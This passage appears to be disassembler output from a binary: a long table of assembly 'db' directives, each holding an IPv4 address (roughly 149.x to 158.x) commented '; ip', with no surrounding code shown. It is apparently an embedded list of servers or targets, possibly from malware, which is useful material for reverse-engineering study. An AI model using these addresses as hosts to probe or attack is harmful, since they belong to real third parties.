	  db 149, 201, 10, 30		; ip
	  db 149, 211, 49, 50		; ip
	  db 149, 216, 91, 15		; ip
	  db 149, 217, 0, 100		; ip
	  db 149, 218, 112, 4		; ip
	  db 149, 220, 4, 2		; ip
	  db 149, 220, 8, 11		; ip
	  db 149, 221, 1, 194		; ip
	  db 149, 233, 100, 11		; ip
	  db 149, 234, 12, 1		; ip
	  db 149, 235, 30, 50		; ip
	  db 149, 236, 2 dup(1)		; ip
	  db 149, 239, 160, 100		; ip
	  db 149, 239, 160, 240		; ip
	  db 149, 24, 12, 2		; ip
	  db 149, 242, 224, 2		; ip
	  db 149, 254, 120, 220		; ip
	  db 149, 28, 112, 2		; ip
	  db 149, 39, 1, 15		; ip
	  db 149, 4, 2,	9		; ip
	  db 149, 41, 1, 3		; ip
	  db 149, 44, 2, 10		; ip
	  db 149, 44, 2, 12		; ip
	  db 149, 48, 4, 71		; ip
	  db 149, 48, 4, 72		; ip
	  db 149, 54, 16, 1		; ip
	  db 149, 55, 30, 5		; ip
	  db 149, 63, 60, 250		; ip
	  db 149, 65, 2, 1		; ip
	  db 149, 68, 16, 12		; ip
	  db 149, 73, 0, 53		; ip
	  db 149, 74, 2	dup(1)		; ip
	  db 149, 75, 0, 1		; ip
	  db 149, 76, 1, 2		; ip
	  db 149, 76, 1, 4		; ip
	  db 149, 77, 2	dup(1)		; ip
	  db 149, 79, 138, 1		; ip
	  db 149, 82, 3, 2		; ip
	  db 149, 82, 2	dup(3)		; ip
	  db 149, 89, 1, 24		; ip
	  db 149, 90, 1, 2		; ip
	  db 149, 97, 1, 20		; ip
	  db 149, 97, 1, 26		; ip
	  db 150, 100, 1, 6		; ip
	  db 150, 100, 2 dup(2)		; ip
	  db 150, 100, 2, 3		; ip
	  db 150, 100, 3, 6		; ip
	  db 150, 101, 237, 2		; ip
	  db 150, 101, 248, 57		; ip
	  db 150, 108, 2, 11		; ip
	  db 150, 108, 4, 11		; ip
	  db 150, 11, 154, 1		; ip
	  db 150, 12, 32, 100		; ip
	  db 150, 12, 76, 65		; ip
	  db 150, 124, 4, 12		; ip
	  db 150, 124, 4, 13		; ip
	  db 150, 128, 16, 10		; ip
	  db 150, 128, 98, 10		; ip
	  db 150, 131, 14, 1		; ip
	  db 150, 131, 14, 2		; ip
	  db 150, 140, 1, 25		; ip
	  db 150, 140, 7, 30		; ip
	  db 150, 143, 16, 2		; ip
	  db 150, 143, 80, 2		; ip
	  db 150, 145, 0, 2		; ip
	  db 150, 147, 45, 2		; ip
	  db 150, 147, 68, 240		; ip
	  db 150, 15, 1, 7		; ip
	  db 2 dup(150), 64, 1		; ip
	  db 150, 159, 216, 202		; ip
	  db 150, 159, 216, 206		; ip
	  db 150, 160, 1, 35		; ip
	  db 150, 160, 100, 35		; ip
	  db 150, 161, 6, 1		; ip
	  db 150, 161, 6, 252		; ip
	  db 150, 162, 1, 3		; ip
	  db 150, 162, 1, 7		; ip
	  db 150, 163, 1, 22		; ip
	  db 150, 163, 130, 2		; ip
	  db 150, 163, 141, 20		; ip
	  db 150, 163, 2, 11		; ip
	  db 150, 164, 64, 2		; ip
	  db 150, 164, 65, 3		; ip
	  db 150, 164, 76, 164		; ip
	  db 150, 165, 2 dup(1)		; ip
	  db 150, 169, 1, 3		; ip
	  db 150, 169, 1, 4		; ip
	  db 150, 173, 243, 1		; ip
	  db 150, 176, 12, 51		; ip
	  db 150, 178, 1, 2		; ip
	  db 150, 182, 1, 2		; ip
	  db 150, 188, 4, 210		; ip
	  db 150, 188, 4, 212		; ip
	  db 150, 19, 8, 1		; ip
	  db 150, 19, 8, 250		; ip
	  db 150, 190, 101, 242		; ip
	  db 150, 191, 80, 2		; ip
	  db 150, 195, 10, 1		; ip
	  db 150, 195, 10, 129		; ip
	  db 150, 197, 1, 4		; ip
	  db 150, 198, 134, 129		; ip
	  db 150, 198, 237, 129		; ip
	  db 150, 199, 1, 11		; ip
	  db 150, 200, 2 dup(1)		; ip
	  db 150, 202, 8, 2		; ip
	  db 150, 203, 1, 10		; ip
	  db 150, 203, 22, 28		; ip
	  db 150, 203, 224, 24		; ip
	  db 150, 204, 37, 1		; ip
	  db 150, 204, 40, 1		; ip
	  db 150, 207, 2, 65		; ip
	  db 150, 208, 10, 26		; ip
	  db 150, 209, 4, 21		; ip
	  db 150, 209, 88, 21		; ip
	  db 150, 212, 16, 20		; ip
	  db 150, 212, 16, 21		; ip
	  db 150, 213, 2, 18		; ip
	  db 150, 213, 2, 19		; ip
	  db 150, 214, 1, 3		; ip
	  db 150, 214, 4, 34		; ip
	  db 150, 217, 1, 135		; ip
	  db 150, 217, 10, 2		; ip
	  db 150, 22, 1, 10		; ip
	  db 150, 227, 4, 1		; ip
	  db 150, 228, 40, 129		; ip
	  db 150, 228, 43, 65		; ip
	  db 150, 232, 128, 42		; ip
	  db 150, 232, 128, 45		; ip
	  db 150, 237, 128, 27		; ip
	  db 150, 237, 176, 13		; ip
	  db 150, 241, 6, 51		; ip
	  db 150, 243, 160, 1		; ip
	  db 150, 243, 64, 1		; ip
	  db 150, 244, 9, 100		; ip
	  db 150, 244, 9, 226		; ip
	  db 150, 250, 2 dup(1)		; ip
	  db 150, 252, 128, 106		; ip
	  db 150, 252, 128, 107		; ip
	  db 150, 253, 50, 1		; ip
	  db 150, 253, 50, 2		; ip
	  db 150, 254, 173, 2		; ip
	  db 150, 254, 173, 3		; ip
	  db 150, 26, 1, 251		; ip
	  db 150, 26, 1, 252		; ip
	  db 150, 26, 254, 50		; ip
	  db 150, 26, 254, 58		; ip
	  db 150, 27, 2	dup(1)		; ip
	  db 150, 29, 251, 14		; ip
	  db 150, 30, 21, 2		; ip
	  db 150, 31, 13, 2		; ip
	  db 150, 32, 4, 1		; ip
	  db 150, 35, 253, 11		; ip
	  db 150, 37, 128, 4		; ip
	  db 150, 37, 251, 10		; ip
	  db 150, 38, 210, 2		; ip
	  db 150, 38, 50, 2		; ip
	  db 150, 39, 72, 2		; ip
	  db 150, 42, 190, 100		; ip
	  db 150, 42, 190, 101		; ip
	  db 150, 43, 1, 2		; ip
	  db 150, 43, 2, 1		; ip
	  db 150, 46, 44, 3		; ip
	  db 150, 46, 44, 4		; ip
	  db 150, 47, 172, 11		; ip
	  db 150, 49, 10, 1		; ip
	  db 150, 49, 10, 31		; ip
	  db 150, 52, 100, 20		; ip
	  db 150, 54, 32, 252		; ip
	  db 150, 54, 32, 253		; ip
	  db 150, 55, 4, 2		; ip
	  db 150, 55, 2	dup(4)		; ip
	  db 150, 57, 100, 1		; ip
	  db 150, 59, 12, 3		; ip
	  db 150, 59, 4, 3		; ip
	  db 150, 61, 4, 3		; ip
	  db 150, 61, 4, 5		; ip
	  db 150, 63, 2, 1		; ip
	  db 150, 64, 6, 4		; ip
	  db 150, 65, 2	dup(1)		; ip
	  db 150, 65, 3, 6		; ip
	  db 150, 67, 32, 3		; ip
	  db 150, 69, 2, 11		; ip
	  db 150, 7, 1,	11		; ip
	  db 150, 7, 1,	12		; ip
	  db 150, 71, 88, 1		; ip
	  db 150, 83, 48, 6		; ip
	  db 150, 84, 4, 7		; ip
	  db 150, 84, 8, 166		; ip
	  db 150, 86, 1, 3		; ip
	  db 150, 87, 248, 20		; ip
	  db 150, 89, 0, 8		; ip
	  db 150, 9, 128, 1		; ip
	  db 150, 90, 32, 3		; ip
	  db 150, 90, 32, 6		; ip
	  db 150, 91, 28, 2		; ip
	  db 150, 93, 16, 250		; ip
	  db 150, 93, 240, 252		; ip
	  db 150, 96, 0, 2		; ip
	  db 150, 97, 140, 3		; ip
	  db 150, 97, 140, 4		; ip
	  db 151, 3 dup(1)		; ip
	  db 151, 1, 2,	1		; ip
	  db 151, 100, 4, 13		; ip
	  db 151, 101, 20, 1		; ip
	  db 151, 101, 20, 2		; ip
	  db 151, 103, 16, 11		; ip
	  db 151, 103, 16, 12		; ip
	  db 151, 124, 250, 1		; ip
	  db 151, 125, 2 dup(1)		; ip
	  db 151, 130, 32, 1		; ip
	  db 151, 132, 200, 2		; ip
	  db 151, 132, 50, 198		; ip
	  db 151, 132, 50, 2		; ip
	  db 151, 135, 248, 1		; ip
	  db 151, 136, 100, 130		; ip
	  db 151, 141, 4, 7		; ip
	  db 151, 143, 1, 55		; ip
	  db 151, 143, 240, 12		; ip
	  db 151, 144, 254, 21		; ip
	  db 151, 144, 254, 22		; ip
	  db 151, 148, 132, 1		; ip
	  db 151, 154, 222, 3		; ip
	  db 151, 154, 222, 5		; ip
	  db 151, 157, 128, 21		; ip
	  db 151, 159, 2 dup(1)		; ip
	  db 151, 159, 1, 121		; ip
	  db 151, 159, 90, 1		; ip
	  db 151, 160, 192, 11		; ip
	  db 151, 160, 192, 12		; ip
	  db 151, 161, 44, 11		; ip
	  db 151, 164, 2 dup(1)		; ip
	  db 151, 164, 1, 7		; ip
	  db 151, 169, 31, 10		; ip
	  db 151, 17, 3, 195		; ip
	  db 151, 17, 4, 2		; ip
	  db 151, 170, 240, 3		; ip
	  db 151, 170, 240, 4		; ip
	  db 151, 182, 136, 1		; ip
	  db 151, 188, 3, 1		; ip
	  db 151, 188, 3, 2		; ip
	  db 151, 189, 0, 25		; ip
	  db 151, 189, 13, 25		; ip
	  db 151, 190, 254, 250		; ip
	  db 151, 191, 1, 10		; ip
	  db 151, 193, 161, 41		; ip
	  db 151, 193, 161, 42		; ip
	  db 151, 196, 0, 37		; ip
	  db 151, 196, 0, 38		; ip
	  db 151, 197, 0, 37		; ip
	  db 151, 197, 0, 68		; ip
	  db 151, 197, 68, 162		; ip
	  db 151, 198, 0, 37		; ip
	  db 151, 198, 0, 68		; ip
	  db 151, 201, 0, 68		; ip
	  db 151, 201, 73, 2		; ip
	  db 151, 202, 0, 68		; ip
	  db 151, 203, 0, 68		; ip
	  db 151, 212, 71, 11		; ip
	  db 151, 214, 180, 110		; ip
	  db 151, 214, 180, 120		; ip
	  db 151, 86, 79, 10		; ip
	  db 151, 87, 9, 1		; ip
	  db 151, 92, 2, 34		; ip
	  db 151, 92, 2, 35		; ip
	  db 151, 94, 2	dup(2)		; ip
	  db 151, 97, 1, 5		; ip
	  db 151, 97, 252, 1		; ip
	  db 151, 99, 125, 2		; ip
	  db 151, 99, 125, 3		; ip
	  db 151, 99, 250, 2		; ip
	  db 152, 2 dup(1), 208		; ip
	  db 152, 2 dup(1), 22		; ip
	  db 152, 10, 2	dup(1)		; ip
	  db 152, 3 dup(101)		; ip
	  db 152, 101, 8, 1		; ip
	  db 152, 3 dup(103)		; ip
	  db 152, 103, 8, 1		; ip
	  db 152, 105, 2 dup(2)		; ip
	  db 152, 106, 1, 53		; ip
	  db 152, 112, 128, 1		; ip
	  db 152, 117, 1, 6		; ip
	  db 152, 117, 1, 8		; ip
	  db 152, 135, 235, 5		; ip
	  db 152, 136, 80, 110		; ip
	  db 152, 136, 80, 120		; ip
	  db 152, 140, 28, 201		; ip
	  db 152, 148, 10, 229		; ip
	  db 152, 149, 40, 2		; ip
	  db 152, 15, 30, 27		; ip
	  db 152, 15, 41, 32		; ip
	  db 152, 15, 2	dup(41)		; ip
	  db 2 dup(152), 96, 1		; ip
	  db 152, 156, 2, 7		; ip
	  db 152, 158, 16, 48		; ip
	  db 152, 158, 2, 48		; ip
	  db 152, 158, 36, 48		; ip
	  db 152, 160, 2 dup(1)		; ip
	  db 152, 160, 1, 3		; ip
	  db 152, 160, 59, 120		; ip
	  db 152, 163, 159, 232		; ip
	  db 152, 163, 159, 233		; ip
	  db 152, 163, 159, 236		; ip
	  db 152, 18, 48, 3		; ip
	  db 152, 2, 21, 1		; ip
	  db 152, 2, 253, 100		; ip
	  db 152, 226, 64, 10		; ip
	  db 152, 226, 64, 9		; ip
	  db 152, 228, 34, 1		; ip
	  db 152, 228, 34, 16		; ip
	  db 152, 3, 250, 1		; ip
	  db 152, 3, 250, 2		; ip
	  db 152, 30, 2, 120		; ip
	  db 152, 31, 227, 2		; ip
	  db 152, 31, 227, 3		; ip
	  db 152, 33, 2, 1		; ip
	  db 152, 4, 20, 3		; ip
	  db 152, 42, 62, 1		; ip
	  db 152, 5, 128, 19		; ip
	  db 152, 5, 128, 21		; ip
	  db 152, 52, 2	dup(2)		; ip
	  db 152, 65, 165, 5		; ip
	  db 152, 65, 33, 10		; ip
	  db 152, 66, 115, 1		; ip
	  db 152, 66, 116, 1		; ip
	  db 152, 71, 0, 1		; ip
	  db 152, 71, 0, 2		; ip
	  db 152, 74, 16, 12		; ip
	  db 152, 74, 16, 14		; ip
	  db 152, 75, 128, 1		; ip
	  db 152, 75, 128, 2		; ip
	  db 152, 76, 0, 130		; ip
	  db 152, 78, 128, 78		; ip
	  db 152, 78, 128, 79		; ip
	  db 152, 79, 2	dup(105)	; ip
	  db 152, 80, 56, 201		; ip
	  db 152, 81, 1, 10		; ip
	  db 152, 81, 1, 17		; ip
	  db 152, 81, 1, 25		; ip
	  db 152, 83, 2, 8		; ip
	  db 152, 83, 8, 3		; ip
	  db 152, 84, 253, 2		; ip
	  db 152, 85, 133, 14		; ip
	  db 152, 85, 2	dup(3)		; ip
	  db 152, 88, 1, 5		; ip
	  db 152, 88, 1, 61		; ip
	  db 152, 89, 15, 10		; ip
	  db 152, 9, 28, 249		; ip
	  db 152, 91, 11, 1		; ip
	  db 152, 92, 1, 10		; ip
	  db 152, 93, 253, 5		; ip
	  db 152, 94, 1, 10		; ip
	  db 152, 94, 1, 24		; ip
	  db 152, 94, 2, 10		; ip
	  db 152, 95, 32, 2		; ip
	  db 152, 96, 129, 3		; ip
	  db 152, 96, 37, 53		; ip
	  db 152, 97, 1, 50		; ip
	  db 152, 98, 32, 20		; ip
	  db 152, 99, 1, 6		; ip
	  db 153, 1, 2,	12		; ip
	  db 153, 10, 96, 5		; ip
	  db 153, 10, 96, 6		; ip
	  db 153, 104, 1, 2		; ip
	  db 153, 104, 136, 2		; ip
	  db 153, 105, 2 dup(100)	; ip
	  db 153, 106, 4, 1		; ip
	  db 153, 107, 41, 156		; ip
	  db 153, 107, 41, 28		; ip
	  db 153, 109, 10, 11		; ip
	  db 153, 2 dup(11), 3		; ip
	  db 153, 110, 34, 10		; ip
	  db 153, 111, 226, 10		; ip
	  db 153, 111, 226, 15		; ip
	  db 153, 113, 5, 21		; ip
	  db 153, 18, 8, 1		; ip
	  db 153, 19, 1, 254		; ip
	  db 153, 19, 250, 100		; ip
	  db 153, 19, 40, 230		; ip
	  db 153, 20, 24, 71		; ip
	  db 153, 24, 90, 15		; ip
	  db 153, 33, 32, 81		; ip
	  db 153, 39, 194, 10		; ip
	  db 153, 39, 194, 26		; ip
	  db 153, 4, 57, 5		; ip
	  db 153, 42, 16, 1		; ip
	  db 153, 42, 16, 9		; ip
	  db 153, 45, 80, 16		; ip
	  db 153, 45, 80, 17		; ip
	  db 153, 46, 250, 119		; ip
	  db 153, 90, 2, 1		; ip
	  db 153, 90, 2, 15		; ip
	  db 153, 92, 5, 3		; ip
	  db 153, 94, 51, 2		; ip
	  db 153, 96, 2	dup(1)		; ip
	  db 154, 11, 136, 130		; ip
	  db 154, 11, 136, 2		; ip
	  db 154, 11, 136, 34		; ip
	  db 154, 11, 136, 66		; ip
	  db 154, 11, 136, 98		; ip
	  db 154, 11, 145, 2		; ip
	  db 154, 11, 146, 2		; ip
	  db 154, 11, 147, 2		; ip
	  db 154, 11, 89, 177		; ip
	  db 154, 11, 89, 185		; ip
	  db 154, 15, 250, 166		; ip
	  db 154, 15, 250, 170		; ip
	  db 154, 15, 250, 174		; ip
	  db 154, 15, 251, 166		; ip
	  db 154, 15, 251, 170		; ip
	  db 154, 15, 251, 174		; ip
	  db 154, 15, 252, 166		; ip
	  db 154, 15, 252, 170		; ip
	  db 154, 15, 252, 174		; ip
	  db 154, 32, 105, 30		; ip
	  db 154, 32, 105, 34		; ip
	  db 154, 32, 107, 30		; ip
	  db 154, 32, 107, 34		; ip
	  db 154, 32, 109, 30		; ip
	  db 154, 33, 113, 22		; ip
	  db 154, 33, 63, 254		; ip
	  db 155, 102, 129, 1		; ip
	  db 155, 104, 240, 10		; ip
	  db 155, 104, 240, 11		; ip
	  db 155, 105, 2, 10		; ip
	  db 155, 13, 48, 3		; ip
	  db 155, 131, 1, 200		; ip
	  db 155, 131, 97, 200		; ip
	  db 155, 135, 2 dup(1)		; ip
	  db 155, 135, 11, 130		; ip
	  db 155, 137, 34, 1		; ip
	  db 155, 137, 36, 18		; ip
	  db 155, 138, 1, 5		; ip
	  db 155, 158, 102, 7		; ip
	  db 155, 158, 99, 2		; ip
	  db 155, 185, 1, 2		; ip
	  db 155, 185, 1, 5		; ip
	  db 155, 187, 2, 11		; ip
	  db 155, 194, 200, 20		; ip
	  db 155, 198, 2 dup(20)	; ip
	  db 155, 198, 5, 12		; ip
	  db 155, 206, 11, 32		; ip
	  db 155, 206, 15, 30		; ip
	  db 155, 207, 100, 31		; ip
	  db 155, 207, 100, 32		; ip
	  db 155, 207, 100, 33		; ip
	  db 155, 210, 12, 9		; ip
	  db 155, 212, 1, 13		; ip
	  db 155, 212, 1, 5		; ip
	  db 155, 223, 2 dup(2)		; ip
	  db 155, 225, 6, 2		; ip
	  db 155, 226, 10, 204		; ip
	  db 155, 229, 1, 5		; ip
	  db 155, 229, 1, 69		; ip
	  db 155, 229, 126, 67		; ip
	  db 155, 229, 2, 181		; ip
	  db 155, 230, 10, 2		; ip
	  db 155, 230, 20, 10		; ip
	  db 155, 233, 1, 233		; ip
	  db 155, 233, 1, 4		; ip
	  db 155, 238, 8, 17		; ip
	  db 155, 246, 1, 20		; ip
	  db 155, 247, 166, 2		; ip
	  db 155, 247, 19, 2		; ip
	  db 155, 250, 128, 1		; ip
	  db 155, 252, 136, 18		; ip
	  db 155, 252, 136, 21		; ip
	  db 155, 252, 151, 83		; ip
	  db 155, 252, 16, 7		; ip
	  db 155, 253, 1, 2		; ip
	  db 155, 31, 251, 175		; ip
	  db 155, 36, 3, 30		; ip
	  db 155, 37, 50, 100		; ip
	  db 155, 38, 10, 9		; ip
	  db 155, 42, 1, 7		; ip
	  db 155, 42, 1, 89		; ip
	  db 155, 43, 128, 2		; ip
	  db 155, 43, 129, 20		; ip
	  db 155, 44, 80, 23		; ip
	  db 155, 45, 48, 100		; ip
	  db 155, 45, 48, 101		; ip
	  db 155, 47, 32, 225		; ip
	  db 155, 48, 8, 248		; ip
	  db 155, 52, 45, 100		; ip
	  db 155, 52, 46, 53		; ip
	  db 155, 53, 2	dup(1)		; ip
	  db 155, 53, 1, 2		; ip
	  db 155, 54, 2	dup(1)		; ip
	  db 155, 57, 254, 2		; ip
	  db 155, 57, 254, 3		; ip
	  db 155, 58, 128, 1		; ip
	  db 155, 68, 1, 100		; ip
	  db 155, 68, 1, 101		; ip
	  db 155, 69, 1, 5		; ip
	  db 155, 69, 254, 5		; ip
	  db 155, 7, 1,	90		; ip
	  db 155, 92, 1, 3		; ip
	  db 156, 1, 240, 44		; ip
	  db 156, 1, 240, 45		; ip
	  db 156, 106, 192, 121		; ip
	  db 156, 116, 2, 10		; ip
	  db 156, 118, 212, 2		; ip
	  db 156, 12, 23, 1		; ip
	  db 156, 12, 23, 2		; ip
	  db 156, 14, 1, 122		; ip
	  db 156, 144, 4, 7		; ip
	  db 156, 146, 109, 250		; ip
	  db 156, 148, 2 dup(1)		; ip
	  db 156, 151, 250, 20		; ip
	  db 156, 153, 255, 210		; ip
	  db 156, 153, 255, 242		; ip
	  db 156, 17, 254, 3		; ip
	  db 156, 17, 5, 2		; ip
	  db 156, 17, 8, 1		; ip
	  db 156, 18, 22, 3		; ip
	  db 156, 19, 1, 250		; ip
	  db 156, 19, 1, 251		; ip
	  db 156, 21, 1, 2		; ip
	  db 156, 24, 2	dup(1)		; ip
	  db 156, 26, 2	dup(1)		; ip
	  db 156, 27, 18, 16		; ip
	  db 156, 27, 8, 16		; ip
	  db 156, 28, 8, 1		; ip
	  db 156, 29, 1, 50		; ip
	  db 156, 3, 2 dup(1)		; ip
	  db 156, 3, 1,	3		; ip
	  db 156, 3, 1,	8		; ip
	  db 156, 35, 14, 2		; ip
	  db 156, 35, 31, 1		; ip
	  db 156, 35, 41, 2		; ip
	  db 156, 36, 1, 18		; ip
	  db 156, 36, 1, 21		; ip
	  db 156, 39, 100, 6		; ip
	  db 156, 42, 5, 234		; ip
	  db 156, 43, 100, 254		; ip
	  db 156, 46, 128, 10		; ip
	  db 156, 48, 254, 3		; ip
	  db 156, 50, 11, 110		; ip
	  db 156, 50, 11, 99		; ip
	  db 156, 52, 1, 3		; ip
	  db 156, 54, 254, 2		; ip
	  db 156, 62, 8, 1		; ip
	  db 156, 63, 1, 26		; ip
	  db 156, 63, 130, 100		; ip
	  db 156, 63, 130, 75		; ip
	  db 156, 63, 29, 233		; ip
	  db 156, 73, 254, 2		; ip
	  db 156, 75, 180, 162		; ip
	  db 156, 76, 75, 110		; ip
	  db 156, 80, 1, 254		; ip
	  db 156, 80, 1, 4		; ip
	  db 156, 80, 2	dup(3)		; ip
	  db 156, 83, 254, 8		; ip
	  db 156, 98, 2	dup(1)		; ip
	  db 156, 98, 4, 11		; ip
	  db 157, 1, 24, 201		; ip
	  db 157, 100, 1, 2		; ip
	  db 157, 100, 45, 2		; ip
	  db 157, 102, 5, 2		; ip
	  db 157, 103, 16, 2		; ip
	  db 157, 105, 101, 7		; ip
	  db 157, 107, 65, 100		; ip
	  db 157, 109, 66, 1		; ip
	  db 157, 110, 56, 211		; ip
	  db 157, 110, 66, 3		; ip
	  db 157, 113, 18, 3		; ip
	  db 157, 114, 2 dup(1)		; ip
	  db 157, 114, 253, 197		; ip
	  db 157, 118, 29, 3		; ip
	  db 157, 118, 29, 4		; ip
	  db 157, 12, 221, 2		; ip
	  db 157, 127, 124, 203		; ip
	  db 157, 13, 2	dup(1)		; ip
	  db 157, 13, 1, 7		; ip
	  db 157, 132, 107, 65		; ip
	  db 157, 132, 107, 66		; ip
	  db 157, 136, 10, 1		; ip
	  db 157, 136, 10, 2		; ip
	  db 157, 138, 1, 8		; ip
	  db 157, 14, 130, 5		; ip
	  db 157, 14, 130, 6		; ip
	  db 157, 140, 2 dup(2)		; ip
	  db 157, 142, 8, 10		; ip
	  db 157, 143, 254, 21		; ip
	  db 157, 145, 220, 1		; ip
	  db 157, 149, 1, 9		; ip
	  db 157, 150, 192, 2		; ip
	  db 157, 151, 0, 1		; ip
	  db 157, 151, 0, 2		; ip
	  db 157, 151, 95, 203		; ip
	  db 157, 158, 1, 3		; ip
	  db 157, 158, 1, 4		; ip
	  db 157, 159, 10, 12		; ip
	  db 157, 16, 248, 3		; ip
	  db 157, 16, 251, 2		; ip
	  db 157, 160, 32, 12		; ip
	  db 157, 161, 1, 2		; ip
	  db 157, 164, 136, 8		; ip
	  db 157, 164, 136, 9		; ip
	  db 157, 169, 10, 1		; ip
	  db 157, 169, 25, 1		; ip
	  db 157, 17, 1, 2		; ip
	  db 157, 17, 10, 20		; ip
	  db 157, 175, 3, 200		; ip
	  db 157, 178, 1, 101		; ip
	  db 157, 179, 1, 99		; ip
	  db 157, 181, 3, 1		; ip
	  db 157, 181, 2 dup(42)	; ip
	  db 157, 182, 140, 2		; ip
	  db 157, 185, 61, 1		; ip
	  db 157, 185, 61, 2		; ip
	  db 157, 189, 15, 10		; ip
	  db 157, 19, 254, 247		; ip
	  db 157, 19, 254, 248		; ip
	  db 157, 193, 40, 37		; ip
	  db 157, 193, 40, 42		; ip
	  db 157, 199, 5, 32		; ip
	  db 157, 2, 21, 248		; ip
	  db 157, 20, 1, 10		; ip
	  db 157, 200, 79, 200		; ip
	  db 157, 200, 99, 100		; ip
	  db 157, 205, 239, 1		; ip
	  db 157, 208, 235, 2		; ip
	  db 157, 21, 1, 16		; ip
	  db 157, 2 dup(211), 1		; ip
	  db 157, 22, 192, 10		; ip
	  db 157, 22, 192, 15		; ip
	  db 157, 22, 230, 125		; ip
	  db 157, 225, 178, 11		; ip
	  db 157, 226, 110, 10		; ip
	  db 157, 228, 12, 1		; ip
	  db 157, 24, 10, 16		; ip
	  db 157, 24, 10, 8		; ip
	  db 157, 246, 2, 4		; ip
	  db 157, 246, 2, 5		; ip
	  db 157, 249, 32, 14		; ip
	  db 157, 249, 32, 15		; ip
	  db 157, 25, 5, 18		; ip
	  db 157, 25, 5, 3		; ip
	  db 157, 252, 10, 251		; ip
	  db 157, 252, 10, 252		; ip
	  db 157, 253, 1, 13		; ip
	  db 157, 254, 234, 34		; ip
	  db 157, 254, 234, 50		; ip
	  db 157, 26, 64, 20		; ip
	  db 157, 27, 1, 2		; ip
	  db 157, 28, 1, 50		; ip
	  db 157, 33, 227, 3		; ip
	  db 157, 33, 227, 4		; ip
	  db 157, 6, 16, 3		; ip
	  db 157, 62, 2, 5		; ip
	  db 157, 63, 2	dup(1)		; ip
	  db 157, 63, 1, 253		; ip
	  db 157, 64, 2, 201		; ip
	  db 157, 65, 1, 49		; ip
	  db 157, 66, 100, 33		; ip
	  db 157, 67, 8, 2		; ip
	  db 157, 67, 8, 3		; ip
	  db 157, 7, 1,	2		; ip
	  db 157, 7, 1,	4		; ip
	  db 157, 70, 9, 11		; ip
	  db 157, 71, 5, 34		; ip
	  db 157, 76, 40, 5		; ip
	  db 157, 77, 2	dup(88)		; ip
	  db 157, 78, 0, 251		; ip
	  db 157, 78, 0, 252		; ip
	  db 157, 79, 100, 4		; ip
	  db 157, 80, 254, 22		; ip
	  db 157, 80, 254, 23		; ip
	  db 157, 86, 8, 1		; ip
	  db 157, 88, 143, 190		; ip
	  db 157, 88, 18, 189		; ip
	  db 157, 88, 18, 190		; ip
	  db 157, 89, 8, 64		; ip
	  db 157, 91, 2	dup(1)		; ip
	  db 157, 91, 1, 9		; ip
	  db 157, 92, 2	dup(1)		; ip
	  db 157, 92, 4, 1		; ip
	  db 157, 93, 252, 10		; ip
	  db 157, 95, 2	dup(1)		; ip
	  db 157, 98, 2	dup(8)		; ip
	  db 157, 99, 2	dup(64)		; ip
	  db 157, 99, 64, 65		; ip
	  db 158, 102, 2 dup(1)		; ip
	  db 158, 104, 100, 101		; ip
	  db 158, 104, 2 dup(3)		; ip
	  db 158, 106, 49, 4		; ip
	  db 158, 107, 48, 2		; ip
	  db 158, 108, 2, 71		; ip
	  db 158, 109, 0, 1		; ip
	  db 158, 110, 1, 7		; ip
	  db 158, 121, 1, 2		; ip
	  db 158, 122, 1, 2		; ip
	  db 158, 122, 64, 9		; ip
	  db 158, 124, 64, 2		; ip
	  db 158, 124, 64, 65		; ip
	  db 158, 125, 1, 100		; ip
	  db 158, 126, 248, 15		; ip
	  db 158, 132, 14, 1		; ip
	  db 158, 132, 18, 1		; ip
	  db 158, 135, 1, 20		; ip
	  db 158, 136, 1, 100		; ip
	  db 158, 140, 1, 253		; ip
	  db 158, 143, 96, 63		; ip
	  db 158, 143, 96, 65		; ip
	  db 158, 143, 96, 78		; ip
	  db 158, 144, 1, 15		; ip
	  db 158, 144, 3, 1		; ip
	  db 158, 145, 110, 231		; ip
	  db 158, 145, 110, 232		; ip
	  db 158, 147, 19, 67		; ip
	  db 158, 15, 201, 200		; ip
	  db 158, 15, 31, 20		; ip
	  db 158, 152, 1, 193		; ip
	  db 158, 152, 1, 65		; ip
	  db 158, 155, 0, 1		; ip
	  db 158, 2 dup(156), 10	; ip
	  db 158, 2 dup(156), 2		; ip
	  db 2 dup(158), 239, 1		; ip
	  db 158, 161, 176, 239		; ip
	  db 158, 162, 0, 1		; ip
	  db 158, 165, 1, 20		; ip
	  db 158, 165, 1, 26		; ip
	  db 158, 165, 3, 52		; ip
	  db 158, 169, 9, 11		; ip
	  db 158, 170, 10, 9		; ip
	  db 158, 170, 64, 21		; ip
	  db 158, 177, 32, 1		; ip
	  db 158, 182, 4, 1		; ip
	  db 158, 182, 4, 9		; ip
	  db 158, 193, 48, 1		; ip
	  db 158, 194, 120, 2		; ip
	  db 158, 195, 16, 200		; ip
	  db 158, 196, 149, 9		; ip
	  db 158, 197, 16, 30		; ip
	  db 158, 201, 127, 1		; ip
	  db 158, 203, 31, 100		; ip
	  db 158, 205, 225, 226		; ip
	  db 158, 205, 225, 230		; ip
	  db 158, 205, 225, 34		; ip
	  db 158, 205, 225, 38		; ip
	  db 158, 207, 31, 41		; ip
	  db 158, 207, 31, 42		; ip
	  db 158, 208, 128, 30		; ip
	  db 158, 210, 250, 11		; ip
	  db 158, 210, 250, 5		; ip
	  db 158, 215, 8, 16		; ip
	  db 158, 215, 8, 2		; ip
	  db 158, 217, 208, 10		; ip
	  db 158, 220, 100, 1		; ip
	  db 158, 222, 2 dup(5)		; ip
	  db 158, 222, 5, 8		; ip
	  db 158, 223, 2 dup(1)		; ip
	  db 158, 223, 1, 2		; ip
	  db 158, 223, 1, 3		; ip
	  db 158, 227, 150, 40		; ip
	  db 158, 227, 2, 34		; ip
	  db 158, 228, 12, 253		; ip
	  db 158, 229, 200, 2		; ip
	  db 158, 230, 100, 101		; ip
	  db 158, 232, 12, 5		; ip
	  db 158, 232, 12, 6		; ip
	  db 158, 234, 8, 70		; ip
	  db 158, 247, 64, 5		; ip
	  db 158, 251, 4, 66		; ip
	  db 158, 251, 4, 7		; ip
	  db 158, 38, 0, 181		; ip
	  db 158, 42, 1, 5		; ip
	  db 158, 42, 4, 1		; ip
	  db 158, 43, 128, 26		; ip
	  db 158, 43, 128, 8		; ip
	  db 158, 43, 129, 68		; ip
	  db 158, 43, 129, 92		; ip
	  db 158, 43, 129, 93		; ip
	  db 158, 43, 192, 7		; ip
	  db 158, 45, 13, 202		; ip
	  db 158, 47, 18, 3		; ip
	  db 158, 47, 4, 215		; ip
	  db 158, 49, 8, 2		; ip
	  db 158, 50, 204, 4		; ip
	  db 158, 52, 254, 2		; ip
